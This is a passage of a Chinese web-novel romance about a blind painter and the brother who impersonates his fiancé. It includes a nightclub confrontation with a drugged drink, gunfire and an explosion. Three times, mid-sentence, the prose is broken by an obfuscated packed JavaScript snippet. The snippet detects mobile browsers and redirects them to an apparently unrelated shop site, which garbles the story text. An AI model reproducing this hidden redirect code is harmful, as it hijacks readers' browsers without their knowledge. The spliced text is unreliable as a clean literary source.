却没想到柯玉树却依旧摇头说:“素描我不太在行,你可以向二少爷求教。” 程雀枝愣住了。 “你知道我、我小弟的素描?” “略有耳闻,西兰顿艺术节的获奖作品,笔触很灵动,他应该很喜欢风。那天……”柯玉树放下手中的铅笔,“那天我在庄园看这幅素描的时候,二少爷刚好回国。” 柯玉树没有再继续说下去,程雀枝为他补充了后半句。 他刚好在看素描,刚好被回国的自己冷嘲热讽。 原来柯玉树是懂他的吗? 程雀枝有些不相信,他忽然走上前,握住柯玉树的铅笔,执拗地问:“你为什么会觉得他喜欢风?” 柯玉树依旧沉默,他不想跟未婚夫评判程二少爷,刚才也只是随口一提,毕竟两人之间还隔着一个抄袭和被抄袭的关系,奈何未婚夫却像是忽然变成了一头倔驴,一个劲儿的追问。 “他笔下的素描从来画的都是静态花草,或是人物肖像,风又从哪里来的?”程雀枝又问。 程雀枝突然有种不真实的感觉。他画了那么多年的画,除了Ye老师,几乎没有人懂他。 Ye老师也只是在看过他画作后,看出他对自由的追求,随意提点了几句。但柯玉树不一样,他一眼就在自己的素描里看到了风,风哪里能看出来呢,除非柯玉树完全了解他这个人,或是…… 柯玉树真的能从画作中读懂他。 “因为他喜欢风,他的每一次下笔,每一次线条的勾勒,都是风在推动。”柯玉树说。 柯玉树对艺术很敏感,有时,他会与带着灵魂的画作融为一体,读懂作画之人的感情和个性,老师称之为悟性。 既然未婚夫执意要问,柯玉树回答也没什么,反正以程栖山这个性格,不会莫名其妙找上程雀枝,告知他自己的评价。 柯玉树不知道的是,程雀枝本人就站在他面前,已经快在风中凌乱了。 程雀枝心想,柯玉树懂他,柯玉树知道他每一笔线条的感情和追求,这怎么可能呢? 柯玉树只是个抄袭还不知悔改的小偷啊! 程雀枝从小就被灌输各种规训和教条,不是源于程家,而是源于瑟莲家族,他母亲的家族。 瑟莲家族是法国有名的贵族,有爵位要继承,程雀枝的母亲英年早逝,留下他和程栖山两个人,小叔带着他们兄弟俩在家族中斡旋,才艰难存活到早成年,活到有反抗能力的时候。 现在他们一家三口已经完全掌控程家和瑟莲家族的话语权,但程雀枝却一直被困在年少,不得自由,绘画是他唯一能发泄的途径。 柯玉树……真的懂他。 “程栖山,程栖山,你有在听吗?”柯玉树问。 程雀枝猛然回过神,发现柯玉树已经把铅笔放下,并且撕下了那张未完成的素描。画上的程栖山半张脸被涂黑,作画之人似乎心烦意乱,将好好一幅素描绘成了废稿。 “怎么了?”程雀枝问。 他居然觉得有些可惜,这幅属于大哥的画,画得真的很好。 “要是没什么事,我先回房间了,你如果真的对素描感兴趣,可以自己先试着画几笔。”柯玉树把废掉的稿子交给李阿姨,他还不知道垃圾桶在哪,“素描说起来挺简单,但还是需要一定的基础,你不想请教程雀枝,去报个班也行。” 真是为未婚夫考虑得面面俱到。 程雀枝“嗯”了一声,然后看着柯玉树来到客厅,坐下,戴上了耳机。 柯玉树有听诗的习惯。 他坐在沙发上的姿态优雅,感觉随时都能进摄影棚拍一套写真。 搞艺术的对自己的外貌都有追求,程雀枝为了伪装成程栖山,已经连着穿了好几天的西装三件套,他扯了扯自己的衣服,开始打量起柯玉树今天的穿着。 柯玉树今天穿着一件淡青色飞肩夹克外套,腰侧挂了细碎的纯白流苏,除此之外再无花哨的设计,只是整一套衣服的剪裁得体,别出心裁。 挺好看的。 他在家里穿这么好看干什么?是想勾引谁? 程雀枝开始胡思乱想。 他发起疯来,根本没人能阻止他,不过好在他现在只是发散思维,眼睛直勾勾盯着柯玉树,像是要把他盯出一个洞来。 李阿姨在旁边看着,起了一身的鸡皮疙瘩,偏偏柯先生看不见,她只能深吸一口气,然后急匆匆进了厨房躲避。 她躲还不行吗? 柯玉树听了小半首诗,忽然,手机震动起来,诗也暂停了,AI开始语音播报,是学院校长的电话。 按音量键接通电话,柯玉树先行开口:“喂,校长,有事吗?” 他们学院的校长是个十分精明的老头子,柯玉树不太喜欢跟他打交道。 “柯教授啊,最近还好吗?眼睛恢复得怎么样了?” 校长的声音笑呵呵的,出口就是寒暄和关切,柯玉树却没有放松警惕。 “嗯,一切都好,眼睛还在修养,校长有事吗?” 校长长长叹息一声,给出十分纠结的态度,才说:“是这样的,你看,你毕竟是教油画的教授,现在眼睛却看不见了,肯定是没办法继续回来上课的吧?学生那边不好交差去……再加上最近有些风言风语,哎,柯教授,你知道的,我们学院难啊……” 说到底还不是柯玉树被指抄袭,现在又双目失明,学院留不得他。 柯玉树教授的职位是老师走关系得来的,他毕业于国外名牌艺术学院,但一开始并没有要教学生的念头,只是老师看他要么在外面旅游,要么把自己关起来画画,怕他没了活人气,于是叫学生给他安了个教授的职位。 一周只有一节课,很轻松。 现在出了这些事,他没法再回去上课,校长全是难做。 更何况,他教的那些学生似乎不太想见到他呢。 于是柯玉树回答:“行,学院那边我就先不去了,学生的话也麻烦校长帮忙转一下课……” 校长连忙打断他的话:“柯教授,你怕是误会我的意思啦!你眼睛呢,需要修养,学院的事太操劳,这个呢,要不你就安心待在家,别过来了?” “校长这是要辞退我?”柯玉树直接问出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949060|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 他话音刚落,一直盯着他的程雀枝微微皱眉。 柯玉树抄袭的事还没有实锤,他这个苦主和Ye先生都没说什么,一个大学校长凭什么先入为主,辞退柯玉树? 通话对面的校长支支吾吾半天,柯玉树想了想,决定不再为难他,毕竟校长也是老师的学生,说起来还算是他的师兄。 老师那边会为难。 柯玉树说:“我明白校方的难处,这样,我主动递交辞呈吧,表面还好看一些。” 对面的校长这才笑逐颜开。 “哎呀,柯先生,你可真是善解人意……对了,那老师那边?” 真是个老狐狸,想辞退他又怕老师,还要自己去说。 柯玉树:“老师那边我去说。” 只是说什么,就由不得校长了。 柯玉树能忍受其他人往他身上泼脏水,是因为程雀枝的画确实让他有些眼熟,让他想到他那部未完成的作品。 而且,柯玉树现在还不想暴露自己的另外一个身份,他现在还是柯家的少爷,暴露身份,只会让那对父母更加变本加厉。 他要做一个没有价值的人,小妹的事业才会顺遂。 是的,Ye是柯玉树的马甲,那个在绘画界举重若轻的天才画家。 他在年少的时候就被父母逼着继承柯家,父母重男轻女,一心要把小妹养成名媛,送出去联姻,但小妹有她自己的追求。反正柯玉树也不想打理家族企业,干脆做一个只会画画的花瓶,默默无闻地当个教授。 小妹就会被父母看到,他还等着小妹站稳脚跟,给自己撑腰呢。 挂断电话,柯玉树把自己摔进了沙发里,开始思考接下来该怎么做。 他现在算是没工作了,无事一身轻,刚好能安心养病,平时就刷刷未婚夫的好感,养好眼睛就去结婚,结婚后就去画画。 完美闭环。 柯玉树嘴角勾起一抹浅笑,一直看着他的程雀枝也心花怒放。 这人笑得这么好看做什么? 程雀枝忽然大跨步回了书房,一阵风过去,带起了柯玉树身上的流苏,他没当回事。 书房内,程雀枝坐在桌前翻阅自己以往的画作。他从来没让柯玉树进过房间,柯玉树自然不知道,这间书房其实是他的画室。 那些素描和油画,随便放出去一张都能获奖,程雀枝却一直觉得很孤独,因为这些画都被放在了供人仰望的位置。 几乎没有人能读懂它们,也没有人能读懂他。 现在,这个人出现了。 程雀枝双拳垂在桌上,发出一声闷响。 不,柯玉树一个抄袭者,怎么可能读懂他?肯定是连蒙带猜误打误撞,程雀枝不允许这样恶劣的人读懂自己! 他不允许! 程雀枝抓过手机给下属打电话,面色阴沉得可怕。 “给我查柯玉树,查他到底什么背景!” 他再给柯玉树一次机会,如果他也得到了Ye先生,或是Ye老师的授权,程雀枝可以既往不咎,温柔对待他。 但要是柯玉树真是个小偷…… “呵。” 程雀枝眉峰上扬,点开已经许久未被使用的群聊,群聊上一条消息还停留在程栖山出事前。 程栖山:【玉树说要跟我领证,玉树要跟我一辈子在一起!】 程雀枝编辑文字,点击发送。 他要把这趟浑水搅得更浑。 程雀枝:【柯玉树辞职了,要一心一意在家陪我。】 程家庄园里,正在看报表的程小叔:“?” 5. 未婚夫是诈骗犯 5 发完消息后,程雀枝的怒气有些许疏解,他无视小叔发的问号,放下手机,出门和柯玉树吃晚饭。 这是程雀枝在家族里养成的习惯,一家人,无论有什么恩怨情仇,甚至白天才派了人追杀,到了晚上也必须得同桌吃饭。 饭桌上,柯玉树坐在程雀枝对面,看不到程雀枝阴暗的神色。 席间,他就这样一直盯着柯玉树,盯得本来就敏感的柯玉树疑惑开口:“程栖山,你心情不好吗?” 程雀枝不语,只一味地扒饭。 他扒饭的速度很快,但却不粗鲁,柯玉树耳朵灵,听到他咀嚼声“咔咔”的,有些无奈。 既然对面的人在疯狂扒饭,柯玉树也不再打扰他,只以为是未婚夫工作太忙,想早点吃完回书房处理工作。 既然未婚夫都这么努力了,他再慢悠悠吃好像也不太好,柯玉树干脆也加快了吃饭的速度。 而且,这种精英好像看不得旁人懈怠,或许现在的未婚夫根本不想见到自己? 这样想着,柯玉树的动作更快了,甚至比程雀枝先一步下了桌。 “我吃好了,你慢慢吃。” 柯玉树说完这句话就回了房间。 柯玉树离开后,程雀枝扒饭的动作慢了下来。 没有柯玉树坐在对面,他愣了好一会儿,面色阴晴不定。 李阿姨在厨房偷偷看着,心惊胆战。 忽然,程雀枝抄起桌上的碗和筷子就往墙上砸,吓得李阿姨惊呼一声,又连忙捂住嘴。 “怎么了,先生?” 程雀枝没有回答李阿姨的话,他推开椅子,大跨步入了书房,就连背影都带着怒气,留李阿姨在饭厅茫然打扫碗碟的碎片。 李阿姨嘟囔着:“神经,浪费粮食,人民吃了吗?!” 程雀枝进入书房,刚好这时手机震动,他来到桌前一看,是下属的电话。 程雀枝冷着脸接通电话:“你们倒是比以往有效率。” 下属说:“二少爷,我们从家族的情报网截获了资料,原来大少爷曾经查过柯先生,似乎是想替柯先生洗白名声,但无从下手。柯先生刚成年就和家族决裂,就读国外的艺术学院,现在柯家由柯先生的妹妹管理,除此之外没有其它值得深挖的地方。 ” 原来程栖山曾经也查过柯玉树。 程雀枝握着手机的手泛起青筋,他忽然有种千辛万苦想出的满分答案,却早就被其他人提交上去的感觉,这种屈辱感让他很不爽。 “没了?” 下属连忙说:“有有有,大少爷在的时候,曾在十二月五日那天把自己手上的人脉和资源分给柯先生的妹妹,那边的人问,大少爷出事后给出去的权限是否要收回来?” 程雀枝忽然伸出手,揉皱了画架上的画纸,他现在已经不爽到了极点,程栖山那个混蛋不仅在家族群里炫耀,甚至没领证就把人脉和资源送了出去,这么廉价吗? 死舔狗,出去别说我是你弟! 程雀枝气得不行,但嘴比脑子快:“不用收回来,继续给他妹妹用。” 程雀枝为自己找补:反正是那死舔狗手下的资源和人脉,和他没关系,给就给了,柯家一个小家族能够兴起什么风浪?怕是给了还吃不下吧! 对面的属下连连称是,老板语气还挺恶劣的,怕是看不上柯家这两位,属下不敢触他的霉头。 本以为这场通话就此结束,却听到老板又补充了一句:“我手下的资源和人脉,也给她。” 属下:“啊?” 程雀枝没有重复,而是直接啪一声挂断了电话,他将自己摔回单人沙发,手里还捏着刚才被揉成一团的画纸。 程雀枝对着书房的灯,逆光将画纸展开,他刚才发怒的时候,无意间在纸上勾勒出了几笔人像,逆光看着那人像,程雀枝居然有些恍惚。 他狠狠皱眉,把画纸再次揉作一团,丢出了窗外。 “晦气!” 窗外忽然起风了,程雀枝脑子吹过一个日期:十二月五日。 他忽然打开手机,点进一家三口的群聊,上滑到便宜大哥发的最后一条消息。 程栖山和柯玉树领证的消息。 而日期,正是十二月五日。 “咣当——” 最新款智能手机被狠狠砸在墙上,就连后盖的玻璃都崩开了。 程雀枝大怒:“他妈的,那小偷到底给我们下了什么蛊?!” …… 吃过晚饭,柯玉树坐在房间听诗,因为一个人在房间,他这次没戴耳机,而是选择外放。 那是一首西班牙语诗:“Me miran con tus ojos las estrellas más grandes……” 忽然,一个电话打进来,AI女声转换了语言,轻柔地念:“宗教学院-庭英来电……” 庭英是刚和柯玉树解约的模特,也莫名其妙喜欢上了柯玉树。 大四在读,二十岁出头的孩子还没有是非观,即便听了那些抄袭谣言,却还固执己见相信柯玉树,跨越整个s市对他死缠烂打。 柯玉树原以为解除关系后,庭英也会像前面那几个人一样纠缠不清,却没想到到庭英现在才打电话过来。 难道是他的前辈们拦了一把? 柯玉树漫不经心地想。 接通电话,对面传来青年低低的抽泣声:“教、教授?你终于接电话了呜呜……难道我真的一点机会都没有了吗?求求你再给我一次机会吧,我一定会更加努力……” 柯玉树叹了口气,这孩子怎么这么久了还没有走出来? 他声音冷淡回道:“庭英,要认清现实,雇佣关系而已,你和前面那些模特并无不同,教授言尽于此。” 柯玉树把庭英的希望灭了个干干净净,原以为自己这样说了,庭英这年纪的小伙子肯定拉不下脸来,没想到对面的青年却哭得更猛了。 “不,不行,我不同意!柯教授,我不同意,我喜欢……” “庭英,你醉了,打电话叫室友把你接回去。”柯玉树打断了他的话。 柯玉树声音依旧平淡,对为自己痛哭的人也毫无触动,只是出于师长的职责说了这句话。 现在这些人对他来说是困扰,明明一开始签合同的时候说得好好的,好聚好散,到头来却变卦一直纠缠,很烦。 程栖山就挺好,是有脑子的商人,利益至上。 庭英:“呜呜呜……我不……” 忽然,卧室门轻轻敲响,柯玉树下意识回头,听到了未婚夫的声音。 “玉树,我能进来吗?” 手机里,庭英还在抽抽噎噎诉说着爱语,未婚夫却出现在了门口。 修罗场吗? 柯玉树点头说:“当然可以,请进。” 手机对面的庭英也听到了程雀枝的声音,他不肯接受现实,又哭又吼:“柯教授,他是谁?是你的未婚夫吗?教授,马上和他分手好不好?和我结婚呜呜呜呜!” 柯玉树:“……” 他有些后悔外放,让未婚夫看到自己没处理干净的烂桃花,怪不好意思的。 程雀枝慢慢走进门,靠近手机,忽然冷笑一声,问:“这是哪个学院的?” 柯玉树回答:“宗教学院的。这孩子说的只是醉话,随他去吧。” 柯玉树想把这醉鬼保下来,程雀枝的眉头一直皱着,虽然听懂了柯玉树的话外之音,但还是问:“你的意思是?” 柯玉树回答:“别跟他一般计较。” 他虽然这样说,却没有挂断电话,让对面的庭英听了个一清二楚。 程雀枝忽然靠近两人,一站一坐,未婚夫一身的气势,搞得柯玉树都有些茫然。 这大小姐又怎么了? 程雀枝忽然问:“柯玉树,你对谁都这么温柔吗?” 柯玉树无奈解释:“庭英他只是喝醉……” “手机给我。”未婚夫打断他的话。 柯玉树犹豫了一下,然后还是把手机递给了未婚夫。 未婚夫捏着柯玉树的手机,声音像是忽然冷到了零下十八度,他对手机对面的醉鬼说:“我是柯玉树的未婚夫,你把地址给我。” 庭英迷迷糊糊:“你谁呀你?我靠,我**你***这他娘的居然不是梦,你就是那个傻逼未婚夫……” “庭英,”柯玉树清泠泠的声音一下子就震醒了庭英,“你现在在哪里?” 那声音和平常一样,冷淡、不带一丝情绪,庭英像是被驯化了的狗,唯唯诺诺地告知了自己现在的位置。 是黄浦江边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949061|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的酒吧。 程雀枝忽然冷笑一声,挂断了电话,对柯玉树说:“不用担心,我让助理去把他接走。” 未婚夫似乎有些强硬,柯玉树抬头朝他的方向望去。 美人整个人都在夜灯的笼罩下,显得脆弱而清冷,只见柯玉树乖乖点头,说:“好的,谢谢你,程栖山。” “不用谢,我扶你上床。”未婚夫说。 柯玉树想要拒绝,未婚夫却没有给他这个机会,而是一路低气压地把他扶到了床边,让他坐好。 未婚夫的动作并不温柔,柯玉树手磕在了床沿,他并没有开口叫疼,等到未婚夫站好,才问:“程栖山,我能再摸摸你的脸吗?” 缪斯的声音好听,柯玉树天天听着十分受用,但他已经很久没有摸过缪斯的脸了。 失明了个把月,柯玉树都有些不记程栖山脸的具体尺寸了,只有一些正在远去的图像记忆。 奈何未婚夫却拒绝:“纱布拆了后才发现我最近脸有些肿,下次再说吧。” 好蹩脚的借口,下次就会同意了吗? 柯玉树在心里思索,决定主动出击:“程栖山,你在抗拒我吗?” 程雀枝的脸沉了下去。 没得到答案,柯玉树叹气,“我之前就说过,程栖山,你是我现在唯一的缪斯。虽然我们只是联姻关系,但我是真心喜欢你的脸。如果不是你,我可能已经灵感枯竭了,谢谢……可以的话,我愿意为你做任何事。” 柯玉树慢慢说出了这段诚意满满的话,交易精神放光芒,这可是亲妹妹教他的话术。 未婚夫却依旧没有回答。 柯玉树诚恳,又不解——为什么程栖山现在还不开口说话,他怎么变得那么难缠了? 实则程雀枝嘴角抽了抽,无名火起,他压抑住自己胸腔的起伏。 “你是真的爱我。” 柯玉树点头,“是啊,我们是即将结婚的伴侣,我当然喜欢你,喜欢你的声音,还有你的脸,所以程栖山,你可要好好保养啊。” 柯玉树看似开玩笑,实则是在认真嘱托。 程雀枝:“呵。” 柯玉树:“?” 柯玉树的眼珠子转了转。 车祸过后,程栖山怎么就从可控的睿智精英,变成现在这个阴阳怪气的野犬? 再结合之前程栖山的反常举动,柯玉树有了大概的猜测——他应该真的看走眼了。 说不定半个月的考察期,是心机程栖山在他面前的伪装,好让他放松警惕,甘愿为他奇奇怪怪的性格买单,挡烂桃花。 柯玉树对此没有异议,他只是在想自己得改变策略了,未婚夫有脾气而已,他无所谓,但要是未婚夫一个不开心,不让他找灵感怎么办? 程栖山可不是单纯的大学生,不好骗啊…… 于是柯玉树轻轻叹了口气,说:“程先生……” 既然要改变策略,那就显得尊重一点。 程雀枝还沉浸在自己的思绪中,恍然听到柯玉树这一声“程先生”,居然觉得是在叫自己。 他绷着的脸逐渐松懈下来,然后又听柯玉树说:“我是真心的,请你保护好自己。” 清冷美人的脸藏在暖黄的光晕中,光晕柔和了柯玉树脸部的轮廓,像是在暖光里照耀摇曳的花朵,温暖,而带有令人沉溺的气息。 程雀枝看了许久,终于点头说:“好。” 不就是保养那张老皮子老脸吗? 他同意了。 得到了答复,柯玉树终于松了口气,摸索着整理床铺,程雀枝在旁边站着柯玉树做好一切后,才互道晚安,离开了房间。 把卧室门关上,程雀枝靠着门板,又重复了一遍说:“保养那张老脸?” “呵。” 于是当天晚上,远在别墅区的程小叔就收到了孝顺二侄子的礼物。 他让管家当面打开看看,管家支支吾吾,从托盘里将礼物递到程小叔面前轻声说:“先生,二少爷,他只是有些顽皮。” 程小叔眉头一挑,发现那是一整套高档面膜礼盒。 程小叔:“?” “有意思,是他家里那位又想摸我脸了吗?还要我提前保养,嗯,行吧,我满足他。” 程小叔倒了点精华在手里。 拍拍拍。 6. 夜场 6 未婚夫走后,柯玉树并没有马上睡觉,他轻轻拉了下背部空心的地方。 这是他故意留出来的破绽,倘若他的未婚夫细心一点,知道照顾人的话,说不定就顺手给掖上了。 但没有,曾经能先司机一步为他拉开车门的未婚夫,现在像是瞎了一样。 柯玉树叹了口气。 明明是个完全不知道照顾人的野犬,从前是怎么伪装成家犬的?现在又为什么又要露这么多破绽? 难道是因为已经要结婚了,干脆不装了,摊牌了,趁着自己失明提前暴露,让自己适应一下? 算了,现在这头野犬还在可控范围内,而且未婚夫有那样一张脸,只要不过分,做什么柯玉树都会闭眼溺爱。 方便快捷,省时省力,是一张可塑性极强的画布——这是父母对柯玉树的评价。 柯玉树从床上坐起来,正襟危坐,甚至清了清嗓子,手指一滑拨通了另外一个号码。 他很少这样正式的做一件事,可见对面的人对他而言有多么重要。 对面很快接听,柯玉树柔和着声音说:“最近还好吗?” “挺好的,哥,你呢?” 对面是柯玉树的妹妹,柯月叶,也是他在这世上唯一亲近的人。 Ye先生的ye,便是取自柯月叶的叶。 柯玉树声音带着笑意:“挺好的,程栖山这人挺有意思,你不用担心。” 他从不让妹妹担心,也不会过多干妹妹的生活,两兄妹像是互相放养对方,只有在危及到生命的时候会出手相助,比如之前的车祸,小叶是第一时间给他打电话的人,只是柯玉树隐瞒了自己双目失明的事,只告诉她是普通车祸,就连程栖山都没怎么受伤。 柯月叶说:“哥,和程氏联姻如果没问题的话,我马上启动方案。程栖山这家伙真是老奸巨猾,不知道抽了什么风,又给我砸了一大笔资源。哥,你要是斗得过他就斗,榨点油水,斗不过就躲着,至于程家在国外的人脉我就笑纳了。” “嗯,你直接行动吧,国内交给我。”柯玉树这样说,“他们送的东西不用白不用。” 他的声音依旧温柔,对面的柯月叶停顿几秒,然后才说:“哥,你真的不委屈吗?程栖山能照顾你吗?” 柯玉树有时对这个妹妹真的很无奈,他十几岁的时候放弃继承家业,学了画画,妹妹自然而然就接手了整个柯家,在国内外摸爬滚打。 于是柯玉树接受了跟程家的联姻,程家物流和人脉都是顶级,妹妹需要,这也是他能为柯月叶做的为数不多的事。 他妹妹是一团熊熊燃烧的烈火,仅需要一点东风,就会借力爬到顶端。 至于程栖山是否会照顾自己,柯玉树有些不确定,毕竟只是商业联姻罢了,和现在的未婚夫相处久了,柯玉树甚至觉得未婚夫有些粗手粗脚。 但他还是说:“他挺好的,特别是那张脸和声音,你知道吗小叶,我觉得他跟之前的六个缪斯都不一样,他很特别。” 柯月叶:“……哥,你喜欢就好。” 她有时真的不理解自家哥哥的缪斯理论,不过哥喜欢,妹尊重。 柯月叶很了解自家哥哥的性格,白色画布一张,对谁都淡淡的,但两人脑电波总能不由自主对上号,比如柯玉树本身不是个喜欢花言巧语的人,这也导致他的初代缪斯差点中道崩殂,还是柯月叶在国外请教了男朋友,让柯玉树死记硬背了一套话术,这才骗得初代缪斯和柯玉树签订了雇佣合同。 虽然最后解除关系的过程并不是很愉快就对了。 又短暂聊了几句,柯玉树想要挂断电话,忽然听妹妹轻声说:“哥,你最近又遇到庭家的人了吗?” s市姓庭的人少之又少,能闹到柯月叶那边去的,也只有那么一家。 柯玉树微微皱眉:“庭英?” “嗯,不是什么大事,庭英我会处理,你先好好养伤吧,不要再管他们了。”柯月叶轻声说。 柯玉树说:“不用,程栖山已经去解决了,小叶在国外忙你的就行。” 柯月叶惊讶,没想到那老东西还挺全面。 两人结束话题,互道晚安挂断了电话,房间归于寂静,柯玉树指尖轻轻敲击桌面,突然笑了一声。 “庭家,庭英……庭华?” 那都是过去式了,现在对他最重要的是程栖山,柯玉树一向一心一意。 主打的是一个专情。 …… 程雀枝让下属给小叔送了全套面膜,自己也出了门,带着手下的人直奔庭英在的酒吧。 给“嫂子”处理风流债。 会员制酒吧,程雀枝一路畅通无阻,男男女女在其间摇晃,围拢,经理拦在楼梯口。 程雀枝扫了他一眼,立刻就有雇佣兵上前用金卡砸开了人流。 “他人在哪里?” 没人敢惹这位炙手可热的天才画家,他还有个程家二少爷的身份,所以经理唯唯诺诺指向人群。 庭英正在人群正中心烂醉如泥,抱着一个酒瓶嚎啕大哭。 “教授,教授,你为什么要抛弃我?为什么不爱我?” 旁边的狐朋狗友还在给他出主意,庭英听得迷迷糊糊,脑子里只剩下这瓶酒,直到有人说:“庭少直接把酒给他喂了呗,就算要结婚了又怎么样,给他抢回来!” 庭英迷迷糊糊点头,又听到那人继续说:“区区一个教授居然敢不识抬举,挑衅庭少?!喝了这酒,绝对让他变成骚……” 那人的话还没有骂出口,庭英就反手扇了过去,他手上戴着四五个戒指,这一巴掌又没有留手,那人的脸顿时被喇开了四五条血痕。 “啊!!!”那人惨叫连连。 庭英随意甩了还有些发麻的手,然后对保镖说:“拖下去,丢金陵渡口。” 那人还没来得及开口求饶,就被保镖捂着嘴拖了下去,周围还想讨好庭英的人也暂时偃旗息鼓。 庭英乐得清闲,依旧抱着酒瓶,呢喃着柯玉树的名字。 “玉树……柯教授,为什么……我不舍得啊……我怎么舍得给你喝,给你……我、我喝,我……” 庭英忽然张开眼睛,将酒瓶里的酒一饮而尽,周围人顿时倒吸一口凉气。 “庭少,你怎么自己喝了!这是给婊、给别人喝的!” 给酒的人吓得花容失色,恨不得现在就冲上去抠庭英的喉咙,让他把酒吐出来。 要是让庭家知道自己送了这种酒给庭英,他们家绝对要被丢出s市! 庭英看了他一眼,“拉……拉走,丢……苏州河。” 又有保镖上来,把那人给拖了下去,庭英抱着酒摇摇欲坠,眼神都浑浊了。 接连两人被拉下去丢河里,四周更加安静了,就连DJ也默默把声音调小。 程雀枝在不远处目睹了一切,嗤笑一声,带人走了过去。周围缠绕在一起的男女纷纷避让,不敢出声。 程雀枝长了一张混血的脸,轮廓分明,浅金色的眼眸闪着冷冽的光。他外面披着米白色大衣,内里是剪裁得体的黑色西装三件套,就连领带都束得一丝不苟。 怪吓人的。 程雀枝走到庭英附近,庭英还在喃喃:“教、教授,我我喝了,我一定喝完,绝对不会害你……” 庭英说着说着,面前投下一片阴影,他抬头,眯着眼看了一会儿程雀枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949062|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嗤笑一声。 “你谁啊?” 没想到程雀枝忽然发难,给了他一拳! 庭英顿感天旋地转,晕晕乎乎往后倒,他的保镖连忙把人接住:“你们做什么?!” 奈何程雀枝带回来的雇佣兵下手没轻没重,两三下就把庭英剩下的最后一个保镖放倒了。 “带走。”程雀枝淡淡地说,“他喝的酒也带上。” “Ok, boss.”雇佣兵说。 酒吧老板眼睁睁看着庭英被带走,却不敢吭声,直到程雀枝一行人走远了,他才大吼:“快通知庭家!!!” 庭英在一片园林醒来。 他下意识以为回家了,但环顾四周,却发现不是自家的园林,这里太过荒凉。 扶着树站起来,庭英还记得自己昏迷过去前是被一混血杂毛狗带走的,于是他大叫:“杂毛狗,你他妈的要做什么,知道我是谁吗?!” “砰——” 子弹擦着他的脸颊飞过,庭英僵住了,听到不远处车上的男人说:“你打算给柯玉树喝什么?” 庭英僵在了原地。 他不说话,忽然,酒液从树上倾盆而下,直接将他全身淋了个透。 “啊!!!” 庭英抱着身体直发抖,他破口大骂,但没来得及骂几句就闭嘴了,因为无数子弹朝他这个方向射来,他只能抱着头四处躲避。 “啊啊啊啊,你们要做什么做什么,放我离开!” 巨响炸开在耳边,庭英也疯狂大叫,在醉酒和药物作用的双双影响下,庭英咚咚撞了好几下树,狼狈不堪。 程雀枝在车上静静看着这滑稽的一幕,十分钟后,庭英靠在树下上奄奄一息,如同一条濒死的鱼。 有人敲开了程雀枝的车门。 车门外站着几个黑衣保镖,为首之人穿着一身白色唐装,在黑夜里跟个鬼似的。 难道,不过二十六七岁,看上去有些面熟。 程雀枝淡淡看了他一眼。 男人:“感谢程先生救了我侄子,有什么需要庭家绝不推辞。剩下的家事还请让我们自己处理。” 庭英喝了药,发了疯,要是被酒吧其他人拍下来,庭家一定会被人戳脊梁骨。 “你?”程雀枝挑眉。 “我是庭英的小叔。”庭小叔说。 庭家掌权人是庭英的小叔,所以程雀枝才没当场砍了庭英的胳膊。 “不用谢,庭先生,记得问是谁给他的药,好好教训一下,”程雀枝懒懒地说,“敢对我……嫂子下手,如果真让他得逞,程家饶不了庭家。” 庭小叔:“嫂子?” 程雀枝面容扭曲了一下。 “柯家,柯玉树。” 和聪明人交谈不需要费什么事,庭小叔点头,他站在阴影里看不清表情,程雀枝也没那个心思去探究这位掌权人在想什么。 他要回去看玉树。 “带他走吧。”程雀枝说。 与此同时,庭英彻底倒地不起,有一枚子弹射中了他的脑门,他惊恐大叫一声晕了过去,没发现射中脑门的是加了丙烯颜料的臭蛋。 足够他臭上一段时间了。 庭小叔走过去,淡淡扫了眼便宜侄子。 “把他栓车上,拖回去。” 保镖们:“?” 先生不是最疼庭英少爷了吗? 保镖们不懂,但还是照做了。 片刻后,庭家和程雀枝的车错车而过,程雀枝右手伸出窗外,向庭小叔打了个响指。 庭小叔抬眼,下一刻,庭英原本躺着的地方,忽然发生了剧烈的爆炸。 后视镜里火光冲天。 7. 后半夜 7 程栖山是程氏把企业中心转回国内的主力,最近他越来越忙,只有早晚能够跟柯玉树见上一面。 说见上一面,其实也不准确,柯玉树感觉自己跟他之间总隔着一两人的距离,未婚夫好像突然就开始避嫌了。 对此,柯玉树照单全收,照旧温和地送他去上班。 在家的时候,柯玉树努力学习盲人的基本常识,他一开始学得磕磕绊绊的,怎么学都学不会,甚至好几次被碰上了手臂和腿,但他却并没有发火,甚至连皱眉都没有。 李阿姨是第一次见到像柯玉树这样情绪稳定的病人,又想到自己正在联合程雀枝一起欺骗柯玉树,顿时又怜惜又愧疚,开始更加无微不至地地照顾柯玉树。 